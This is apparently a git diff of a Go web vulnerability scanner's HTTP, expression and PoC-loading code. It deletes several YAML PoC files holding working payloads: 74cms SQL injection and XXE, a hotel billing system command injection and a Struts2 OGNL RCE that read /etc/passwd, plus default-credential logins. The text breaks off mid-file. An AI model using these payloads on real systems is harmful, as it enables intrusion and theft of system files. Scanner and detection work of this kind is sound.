-						for k2, v2 := range rule1.Headers {
-							rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
-							for _, key := range varpay {
-								rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-							}
-						}
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
-						for _, key := range varpay {
-							rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-							rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-						}
-						success, err = clustersend(oReq, variableMap, req, env, rule)
-						if err != nil {
-							return false, err
-						}
-						if success == true {
-							break look3
-						}
-					}
-				}
-			}
-			if success == false {
-				break
-			}
-		}
-	}
-	return success, nil
-}
-
-func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
-	if oReq.URL.Path != "" && oReq.URL.Path != "/" {
-		req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
-	} else {
-		req.Url.Path = rule.Path
-	}
-	// 某些poc没有区分path和query，需要处理
-	req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
-	req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
-
-	newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
-	newRequest.Header = oReq.Header.Clone()
-	for k, v := range rule.Headers {
-		newRequest.Header.Set(k, v)
-	}
-	resp, err := DoRequest(newRequest, rule.FollowRedirects)
-	if err != nil {
-		return false, err
-	}
-	variableMap["response"] = resp
-	// 先判断响应页面是否匹配search规则
-	if rule.Search != "" {
-		result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
-		if result != nil && len(result) > 0 { // 正则匹配成功
-			for k, v := range result {
-				variableMap[k] = v
-			}
-			//return false, nil
-		} else {
-			return false, nil
-		}
-	}
-
-	out, err := Evaluate(env, rule.Expression, variableMap)
-	if err != nil {
-		return false, err
-	}
-	//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
-	if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
-		return false, err // 如果最后一步执行失败，就算前面成功了最终依旧是失败
-	}
-	return true, err
-}
-
-func cloneRules(tags Rules) Rules {
-	cloneTags := Rules{}
-	cloneTags.Method = tags.Method
-	cloneTags.Path = tags.Path
-	cloneTags.Body = tags.Body
-	cloneTags.Search = tags.Search
-	cloneTags.FollowRedirects = tags.FollowRedirects
-	cloneTags.Expression = tags.Expression
-	cloneTags.Headers = cloneMap(tags.Headers)
-	return cloneTags
-}
-
-func cloneMap(tags map[string]string) map[string]string {
-	cloneTags := make(map[string]string)
-	for k, v := range tags {
-		cloneTags[k] = v
-	}
-	return cloneTags
-}
-
-func cloneMap1(tags map[string]interface{}) map[string]interface{} {
-	cloneTags := make(map[string]interface{})
-	for k, v := range tags {
-		cloneTags[k] = v
-	}
-	return cloneTags
-}
-
-func IsContain(items []string, item string) bool {
-	for _, eachItem := range items {
-		if eachItem == item {
-			return true
-		}
-	}
-	return false
-}
-
-func evalset(env *cel.Env, variableMap map[string]interface{}) {
-	for k := range variableMap {
-		expression := fmt.Sprintf("%v", variableMap[k])
-		if !strings.Contains(k, "payload") {
-			out, err := Evaluate(env, expression, variableMap)
-			if err != nil {
-				//fmt.Println(err)
-				variableMap[k] = expression
-				continue
-			}
-			switch value := out.Value().(type) {
-			case *UrlType:
-				variableMap[k] = UrlTypeToString(value)
-			case int64:
-				variableMap[k] = fmt.Sprintf("%v", value)
-			case []uint8:
-				variableMap[k] = fmt.Sprintf("%v", out)
-			default:
-				variableMap[k] = fmt.Sprintf("%v", out)
-			}
-		}
-	}
-
-	for k := range variableMap {
-		expression := fmt.Sprintf("%v", variableMap[k])
-		if strings.Contains(k, "payload") {
-			out, err := Evaluate(env, expression, variableMap)
-			if err != nil {
-				fmt.Println(err)
-				variableMap[k] = expression
-			} else {
-				variableMap[k] = fmt.Sprintf("%v", out)
-			}
-		}
-	}
-}
-
-func CheckInfoPoc(infostr string) string {
-	for _, poc := range info.PocDatas {
-		if strings.Compare(poc.Name, infostr) == 0 {
-			return poc.Alias
-		}
-	}
-	return ""
-}
--- a/WebScan/lib/client.go
+++ b/WebScan/lib/client.go
@@ -1,70 +0,0 @@
-package lib
-
-import (
-	"crypto/tls"
-	"github.com/shadow1ng/fscan/common"
-	"log"
-	"net"
-	"net/http"
-	"net/url"
-	"strings"
-	"time"
-)
-
-var (
-	Client           *http.Client
-	ClientNoRedirect *http.Client
-	dialTimout       = 5 * time.Second
-	keepAlive        = 5 * time.Second
-)
-
-func Inithttp(PocInfo common.PocInfo) {
-	//PocInfo.Proxy = "http://127.0.0.1:8080"
-	err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
-	if err != nil {
-		log.Fatal(err)
-	}
-}
-
-func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
-	dialer := &net.Dialer{
-		Timeout:   dialTimout,
-		KeepAlive: keepAlive,
-	}
-
-	tr := &http.Transport{
-		DialContext:         dialer.DialContext,
-		MaxConnsPerHost:     5,
-		MaxIdleConns:        0,
-		MaxIdleConnsPerHost: 2,
-		IdleConnTimeout:     keepAlive,
-		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true},
-		TLSHandshakeTimeout: 5 * time.Second,
-		DisableKeepAlives:   false,
-	}
-	if DownProxy != "" {
-		if DownProxy == "1" {
-			DownProxy = "http://127.0.0.1:8080"
-		} else if DownProxy == "2" {
-			DownProxy = "socks5://127.0.0.1:1080"
-		} else if !strings.Contains(DownProxy, "://") {
-			DownProxy = "http://127.0.0.1:" + DownProxy
-		}
-		u, err := url.Parse(DownProxy)
-		if err != nil {
-			return err
-		}
-		tr.Proxy = http.ProxyURL(u)
-	}
-
-	Client = &http.Client{
-		Transport: tr,
-		Timeout:   Timeout,
-	}
-	ClientNoRedirect = &http.Client{
-		Transport:     tr,
-		Timeout:       Timeout,
-		CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
-	}
-	return nil
-}
--- a/WebScan/lib/eval.go
+++ b/WebScan/lib/eval.go
@@ -2,7 +2,6 @@ package lib

 import (
 	"bytes"
-	"compress/gzip"
 	"crypto/md5"
 	"encoding/base64"
 	"fmt"
@@ -12,13 +11,10 @@ import (
 	"github.com/google/cel-go/common/types/ref"
 	"github.com/google/cel-go/interpreter/functions"
 	exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
-	"io"
-	"io/ioutil"
 	"math/rand"
 	"net/http"
 	"net/url"
 	"regexp"
-	"strconv"
 	"strings"
 	"time"
 )
@@ -30,19 +26,19 @@ func NewEnv(c *CustomLib) (*cel.Env, error) {
 func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
 	ast, iss := env.Compile(expression)
 	if iss.Err() != nil {
-		//fmt.Printf("compile: ", iss.Err())
+		//fmt.Println("compile: ", iss.Err())
 		return nil, iss.Err()
 	}

 	prg, err := env.Program(ast)
 	if err != nil {
-		//fmt.Printf("Program creation error: %v", err)
+		//fmt.Println("Program creation error: %v", err)
 		return nil, err
 	}

 	out, _, err := prg.Eval(params)
 	if err != nil {
-		//fmt.Printf("Evaluation error: %v", err)
+		//fmt.Println("Evaluation error: %v", err)
 		return nil, err
 	}
 	return out, nil
@@ -127,10 +123,6 @@ func NewEnvOption() CustomLib {
 				decls.NewOverload("randomLowercase_int",
 					[]*exprpb.Type{decls.Int},
 					decls.String)),
-			decls.NewFunction("randomUppercase",
-				decls.NewOverload("randomUppercase_int",
-					[]*exprpb.Type{decls.Int},
-					decls.String)),
 			decls.NewFunction("base64",
 				decls.NewOverload("base64_string",
 					[]*exprpb.Type{decls.String},
@@ -194,7 +186,7 @@ func NewEnvOption() CustomLib {
 				},
 			},
 			&functions.Overload{
-				Operator: "string_bmatches_bytes",
+				Operator: "string_bmatch_bytes",
 				Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
 					v1, ok := lhs.(types.String)
 					if !ok {
@@ -246,16 +238,6 @@ func NewEnvOption() CustomLib {
 					return types.String(randomLowercase(int(n)))
 				},
 			},
-			&functions.Overload{
-				Operator: "randomUppercase_int",
-				Unary: func(value ref.Val) ref.Val {
-					n, ok := value.(types.Int)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
-					}
-					return types.String(randomUppercase(int(n)))
-				},
-			},
 			&functions.Overload{
 				Operator: "base64_string",
 				Unary: func(value ref.Val) ref.Val {
@@ -437,15 +419,9 @@ func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
 	}
 }

-var randSource = rand.New(rand.NewSource(time.Now().Unix()))
-
 func randomLowercase(n int) string {
 	lowercase := "abcdefghijklmnopqrstuvwxyz"
-	return RandomStr(randSource, lowercase, n)
-}
-
-func randomUppercase(n int) string {
-	lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+	randSource := rand.New(rand.NewSource(time.Now().Unix()))
 	return RandomStr(randSource, lowercase, n)
 }

@@ -469,6 +445,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
 	return false
 }

+
 func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
 	const (
 		letterIdxBits = 6                    // 6 bits to represent a letter index
@@ -490,113 +467,3 @@ func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
 	}
 	return string(randBytes)
 }
-
-func DoRequest(req *http.Request, redirect bool) (*Response, error) {
-	if req.Body == nil || req.Body == http.NoBody {
-	} else {
-		req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
-		if req.Header.Get("Content-Type") == "" {
-			req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
-		}
-	}
-
-	var oResp *http.Response
-	var err error
-	if redirect {
-		oResp, err = Client.Do(req)
-	} else {
-		oResp, err = ClientNoRedirect.Do(req)
-	}
-	if err != nil {
-		return nil, err
-	}
-	defer oResp.Body.Close()
-	resp, err := ParseResponse(oResp)
-	if err != nil {
-		return nil, err
-	}
-	return resp, err
-}
-
-func ParseUrl(u *url.URL) *UrlType {
-	nu := &UrlType{}
-	nu.Scheme = u.Scheme
-	nu.Domain = u.Hostname()
-	nu.Host = u.Host
-	nu.Port = u.Port()
-	nu.Path = u.EscapedPath()
-	nu.Query = u.RawQuery
-	nu.Fragment = u.Fragment
-	return nu
-}
-
-func ParseRequest(oReq *http.Request) (*Request, error) {
-	req := &Request{}
-	req.Method = oReq.Method
-	req.Url = ParseUrl(oReq.URL)
-	header := make(map[string]string)
-	for k := range oReq.Header {
-		header[k] = oReq.Header.Get(k)
-	}
-	req.Headers = header
-	req.ContentType = oReq.Header.Get("Content-Type")
-	if oReq.Body == nil || oReq.Body == http.NoBody {
-	} else {
-		data, err := ioutil.ReadAll(oReq.Body)
-		if err != nil {
-			return nil, err
-		}
-		req.Body = data
-		oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
-	}
-	return req, nil
-}
-
-func ParseResponse(oResp *http.Response) (*Response, error) {
-	var resp Response
-	header := make(map[string]string)
-	resp.Status = int32(oResp.StatusCode)
-	resp.Url = ParseUrl(oResp.Request.URL)
-	for k := range oResp.Header {
-		header[k] = strings.Join(oResp.Header.Values(k), ";")
-	}
-	resp.Headers = header
-	resp.ContentType = oResp.Header.Get("Content-Type")
-	body, err := getRespBody(oResp)
-	if err != nil {
-		return nil, err
-	}
-	resp.Body = body
-	return &resp, nil
-}
-
-func getRespBody(oResp *http.Response) ([]byte, error) {
-	var body []byte
-	if oResp.Header.Get("Content-Encoding") == "gzip" {
-		gr, err := gzip.NewReader(oResp.Body)
-		if err != nil {
-			return nil, err
-		}
-		defer gr.Close()
-		for {
-			buf := make([]byte, 1024)
-			n, err := gr.Read(buf)
-			if err != nil && err != io.EOF {
-				//utils.Logger.Error(err)
-				return nil, err
-			}
-			if n == 0 {
-				break
-			}
-			body = append(body, buf...)
-		}
-	} else {
-		raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, int64(5<<20)))
-		if err != nil {
-			return nil, err
-		}
-		defer oResp.Body.Close()
-		body = raw
-	}
-	return body, nil
-}
--- a/WebScan/lib/http.go
+++ b/WebScan/lib/http.go
@@ -0,0 +1,171 @@
+package lib
+
+import (
+	"bytes"
+	"compress/gzip"
+	"crypto/tls"
+	"io"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"net/url"
+	"strconv"
+	"time"
+)
+
+var (
+	client           *http.Client
+	clientNoRedirect *http.Client
+	dialTimout       = 5 * time.Second
+	keepAlive        = 15 * time.Second
+)
+
+func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
+	dialer := &net.Dialer{
+		Timeout:   dialTimout,
+		KeepAlive: keepAlive,
+	}
+
+	tr := &http.Transport{
+		DialContext: dialer.DialContext,
+		//MaxConnsPerHost:     0,
+		MaxIdleConns:        1000,
+		MaxIdleConnsPerHost: ThreadsNum * 2,
+		IdleConnTimeout:     keepAlive,
+		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true},
+		TLSHandshakeTimeout: 5 * time.Second,
+		DisableKeepAlives:   false,
+	}
+	if DownProxy != "" {
+		u, err := url.Parse(DownProxy)
+		if err != nil {
+			return err
+		}
+		tr.Proxy = http.ProxyURL(u)
+	}
+
+	client = &http.Client{
+		Transport: tr,
+		Timeout:   Timeout,
+	}
+	clientNoRedirect = &http.Client{
+		Transport: tr,
+		Timeout:   Timeout,
+	}
+	clientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
+		return http.ErrUseLastResponse
+	}
+	return nil
+}
+
+func DoRequest(req *http.Request, redirect bool) (*Response, error) {
+	if req.Body == nil || req.Body == http.NoBody {
+	} else {
+		req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
+		if req.Header.Get("Content-Type") == "" {
+			req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+		}
+	}
+
+	var oResp *http.Response
+	var err error
+	if redirect {
+		oResp, err = client.Do(req)
+	} else {
+		oResp, err = clientNoRedirect.Do(req)
+	}
+	if err != nil {
+		return nil, err
+	}
+	defer oResp.Body.Close()
+	resp, err := ParseResponse(oResp)
+	if err != nil {
+		return nil, err
+	}
+	return resp, err
+}
+
+func ParseUrl(u *url.URL) *UrlType {
+	nu := &UrlType{}
+	nu.Scheme = u.Scheme
+	nu.Domain = u.Hostname()
+	nu.Host = u.Host
+	nu.Port = u.Port()
+	nu.Path = u.EscapedPath()
+	nu.Query = u.RawQuery
+	nu.Fragment = u.Fragment
+	return nu
+}
+
+func ParseRequest(oReq *http.Request) (*Request, error) {
+	req := &Request{}
+	req.Method = oReq.Method
+	req.Url = ParseUrl(oReq.URL)
+	header := make(map[string]string)
+	for k := range oReq.Header {
+		header[k] = oReq.Header.Get(k)
+	}
+	req.Headers = header
+	req.ContentType = oReq.Header.Get("Content-Type")
+	if oReq.Body == nil || oReq.Body == http.NoBody {
+	} else {
+		data, err := ioutil.ReadAll(oReq.Body)
+		if err != nil {
+			return nil, err
+		}
+		req.Body = data
+		oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
+	}
+	return req, nil
+}
+
+func ParseResponse(oResp *http.Response) (*Response, error) {
+	var resp Response
+	header := make(map[string]string)
+	resp.Status = int32(oResp.StatusCode)
+	resp.Url = ParseUrl(oResp.Request.URL)
+	for k := range oResp.Header {
+		header[k] = oResp.Header.Get(k)
+	}
+	resp.Headers = header
+	resp.ContentType = oResp.Header.Get("Content-Type")
+	body, err := getRespBody(oResp)
+	if err != nil {
+		return nil, err
+	}
+	resp.Body = body
+	return &resp, nil
+}
+
+func getRespBody(oResp *http.Response) ([]byte, error) {
+	var body []byte
+	if oResp.Header.Get("Content-Encoding") == "gzip" {
+		gr, err := gzip.NewReader(oResp.Body)
+		if err != nil {
+			return nil, err
+		}
+
+		defer gr.Close()
+		for {
+			buf := make([]byte, 1024)
+			n, err := gr.Read(buf)
+			if err != nil && err != io.EOF {
+				//utils.Logger.Error(err)
+				return nil, err
+			}
+			if n == 0 {
+				break
+			}
+			body = append(body, buf...)
+		}
+	} else {
+		raw, err := ioutil.ReadAll(oResp.Body)
+		if err != nil {
+			//utils.Logger.Error(err)
+			return nil, err
+		}
+		defer oResp.Body.Close()
+		body = raw
+	}
+	return body, nil
+}
--- a/WebScan/lib/http.pb.go
+++ b/WebScan/lib/http.pb.go
@@ -4,41 +4,11 @@
 package lib

 import (
-	"embed"
-	"fmt"
-	"github.com/golang/protobuf/proto"
-	"gopkg.in/yaml.v3"
-	"io/ioutil"
-	"math"
-	"strings"
+	fmt "fmt"
+	proto "github.com/golang/protobuf/proto"
+	math "math"
 )

-type Poc struct {
-	Name   string              `yaml:"name"`
-	Set    map[string]string   `yaml:"set"`
-	Sets   map[string][]string `yaml:"sets"`
-	Rules  []Rules             `yaml:"rules"`
-	Groups map[string][]Rules  `yaml:"groups"`
-	Detail Detail              `yaml:"detail"`
-}
-
-type Rules struct {
-	Method          string            `yaml:"method"`
-	Path            string            `yaml:"path"`
-	Headers         map[string]string `yaml:"headers"`
-	Body            string            `yaml:"body"`
-	Search          string            `yaml:"search"`
-	FollowRedirects bool              `yaml:"follow_redirects"`
-	Expression      string            `yaml:"expression"`
-}
-
-type Detail struct {
-	Author      string   `yaml:"author"`
-	Links       []string `yaml:"links"`
-	Description string   `yaml:"description"`
-	Version     string   `yaml:"version"`
-}
-
 // Reference imports to suppress errors if they are not otherwise used.
 var _ = proto.Marshal
 var _ = fmt.Errorf
@@ -382,60 +352,3 @@ var fileDescriptor_11b04836674e6f94 = []byte{
 	0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
 	0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
 }
-
-func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
-	var pocs []*Poc
-	for _, f := range SelectPoc(Pocs, pocname) {
-		if p, err := LoadPoc(f, Pocs); err == nil {
-			pocs = append(pocs, p)
-		} else {
-			fmt.Println("[-] load poc ", f, " error:", err)
-		}
-	}
-	return pocs
-}
-
-func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
-	p := &Poc{}
-	yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
-
-	if err != nil {
-		fmt.Printf("[-] load poc %s error: %v", fileName, err)
-		return nil, err
-	}
-	err = yaml.Unmarshal(yamlFile, p)
-	if err != nil {
-		fmt.Printf("[-] load poc %s error: %v", fileName, err)
-		return nil, err
-	}
-	return p, err
-}
-
-func SelectPoc(Pocs embed.FS, pocname string) []string {
-	entries, err := Pocs.ReadDir("pocs")
-	if err != nil {
-		fmt.Println(err)
-	}
-	var foundFiles []string
-	for _, entry := range entries {
-		if strings.Contains(entry.Name(), pocname) {
-			foundFiles = append(foundFiles, entry.Name())
-		}
-	}
-	return foundFiles
-}
-
-func LoadPocbyPath(fileName string) (*Poc, error) {
-	p := &Poc{}
-	data, err := ioutil.ReadFile(fileName)
-	if err != nil {
-		fmt.Printf("[-] load poc %s error: %v", fileName, err)
-		return nil, err
-	}
-	err = yaml.Unmarshal(data, p)
-	if err != nil {
-		fmt.Printf("[-] load poc %s error: %v", fileName, err)
-		return nil, err
-	}
-	return p, err
-}
--- a/WebScan/lib/poc.go
+++ b/WebScan/lib/poc.go
@@ -0,0 +1,70 @@
+package lib
+
+import (
+	"embed"
+	"fmt"
+	"gopkg.in/yaml.v3"
+	"strings"
+)
+
+type Poc struct {
+	Name   string            `yaml:"name"`
+	Set    map[string]string `yaml:"set"`
+	Rules  []Rules           `yaml:"rules"`
+	Detail Detail            `yaml:"detail"`
+}
+
+type Rules struct {
+	Method          string            `yaml:"method"`
+	Path            string            `yaml:"path"`
+	Headers         map[string]string `yaml:"headers"`
+	Body            string            `yaml:"body"`
+	Search          string            `yaml:"search"`
+	FollowRedirects bool              `yaml:"follow_redirects"`
+	Expression      string            `yaml:"expression"`
+}
+
+type Detail struct {
+	Author      string   `yaml:"author"`
+	Links       []string `yaml:"links"`
+	Description string   `yaml:"description"`
+	Version     string   `yaml:"version"`
+}
+
+func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
+	var pocs []*Poc
+	for _, f := range SelectPoc(Pocs, pocname) {
+		if p, err := loadPoc(f, Pocs); err == nil {
+			pocs = append(pocs, p)
+		}
+	}
+	return pocs
+}
+
+func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
+	p := &Poc{}
+	yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
+
+	if err != nil {
+		return nil, err
+	}
+	err = yaml.Unmarshal(yamlFile, p)
+	if err != nil {
+		return nil, err
+	}
+	return p, err
+}
+
+func SelectPoc(Pocs embed.FS, pocname string) []string {
+	entries, err := Pocs.ReadDir("pocs")
+	if err != nil {
+		fmt.Println(err)
+	}
+	var foundFiles []string
+	for _, entry := range entries {
+		if strings.Contains(entry.Name(), pocname) {
+			foundFiles = append(foundFiles, entry.Name())
+		}
+	}
+	return foundFiles
+}
--- a/WebScan/pocs/74cms-sqli-1.yml
+++ b/WebScan/pocs/74cms-sqli-1.yml
@@ -1,16 +0,0 @@
-name: poc-yaml-74cms-sqli-1
-set:
-  rand: randomInt(200000000, 210000000)
-rules:
-  - method: POST
-    path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
-    headers:
-      Content-Type: 'text/xml'
-    body: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5({{rand}})#</Content></xml>
-    follow_redirects: false
-    expression: |
-      response.body.bcontains(bytes(md5(string(rand))))
-detail:
-  author: betta(https://github.com/betta-cyber)
-  links:
-    - https://www.uedbox.com/post/29340
--- a/WebScan/pocs/74cms-sqli-2.yml
+++ b/WebScan/pocs/74cms-sqli-2.yml
@@ -1,12 +0,0 @@
-name: poc-yaml-74cms-sqli-2
-set:
-  rand: randomInt(200000000, 210000000)
-rules:
-  - method: GET
-    path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
-    expression: |
-      response.body.bcontains(bytes(md5(string(rand))))
-detail:
-  author: rexus
-  links:
-    - https://www.uedbox.com/post/30019/
--- a/WebScan/pocs/74cms-sqli.yml
+++ b/WebScan/pocs/74cms-sqli.yml
@@ -1,10 +0,0 @@
-name: poc-yaml-74cms-sqli
-rules:
-  - method: GET
-    path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
-    expression: |
-      response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
-detail:
-  author: jinqi
-  links:
-    - https://www.t00ls.net/articles-54436.html
--- a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml
+++ b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml
@@ -1,15 +0,0 @@
-name: Hotel-Internet-Manage-RCE
-rules:
-  - method: GET
-    path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
-    headers:
-      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"
-      Accept-Encoding: "gzip,deflate"
-    expression: |
-      response.status == 200 && response.body.bcontains(b"parent.doTestResult")
-detail:
-  author: test
-  Affected Version: "Hotel Internet Billing & Operation Support System"
-  links:
-    - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
-    
--- a/WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml
+++ b/WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml
@@ -1,31 +0,0 @@
-name: poc-yaml-struts2-062-cve-2021-31805-rce
-rules:
-  - method: POST
-    path: /
-    headers:
-      Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
-      Cache-Control: 'max-age=0'
-      Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
-
-    body: "\
-        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
-        Content-Disposition: form-data; name=\"id\"\r\n\r\n\
-        %{\r\n\
-        (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
-        (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
-        (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
-        (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
-        (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
-        (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
-        (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
-        (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
-        (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
-        }\r\n\
-        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
-        "
-    expression: |
-      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
-detail:
-  author: Jaky
-  links:
-    - https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
--- a/WebScan/pocs/active-directory-certsrv-detect.yml
+++ b/WebScan/pocs/active-directory-certsrv-detect.yml
@@ -1,11 +0,0 @@
-name: poc-yaml-active-directory-certsrv-detect
-rules:
-  - method: GET
-    path: /certsrv/certrqad.asp
-    follow_redirects: false
-    expression: |
-      response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM")
-detail:
-  author: AgeloVito
-  links:
-    - https://www.cnblogs.com/EasonJim/p/6859345.html
--- a/WebScan/pocs/activemq-default-password.yml
+++ b/WebScan/pocs/activemq-default-password.yml
@@ -1,16 +0,0 @@
-name: poc-yaml-activemq-default-password
-rules:
-  - method: GET
-    path: /admin/
-    expression: |
-      response.status == 401 && response.body.bcontains(b"Unauthorized")
-  - method: GET
-    path: /admin/
-    headers:
-      Authorization: Basic YWRtaW46YWRtaW4=
-    expression: |
-      response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"<h2>Broker</h2>")
-detail:
-  author: pa55w0rd(www.pa55w0rd.online/)
-  links:
-    - https://blog.csdn.net/ge00111/article/details/72765210
--- a/WebScan/pocs/airflow-unauth.yml
+++ b/WebScan/pocs/airflow-unauth.yml
@@ -1,10 +0,0 @@
-name: poc-yaml-airflow-unauth
-rules:
-  - method: GET
-    path: /admin/
-    expression: |
-      response.status == 200 && response.body.bcontains(b"<title>Airflow - DAGs</title>") && response.body.bcontains(b"<h2>DAGs</h2>")
-detail:
-  author: pa55w0rd(www.pa55w0rd.online/)
-  links:
-    - http://airflow.apache.org/
--- a/WebScan/pocs/alibaba-canal-default-password.yml
+++ b/WebScan/pocs/alibaba-canal-default-password.yml
@@ -1,19 +0,0 @@
-name: poc-yaml-alibaba-canal-default-password
-rules:
-  - method: POST
-    path: /api/v1/user/login
-    expression: |
-      response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
-  - method: POST
-    path: /api/v1/user/login
-    headers:
-      Content-Type: application/json
-    body: >-
-      {"username":"admin","password":"123456"}
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
-detail:
-  author: jweny(https://github.com/jweny)
-  links:
-    - https://www.cnblogs.com/xiexiandong/p/12888582.html
--- a/WebScan/pocs/alibaba-canal-info-leak.yml
+++ b/WebScan/pocs/alibaba-canal-info-leak.yml
@@ -1,12 +0,0 @@
-name: poc-yaml-alibaba-canal-info-leak
-rules:
-  - method: GET
-    path: /api/v1/canal/config/1/1
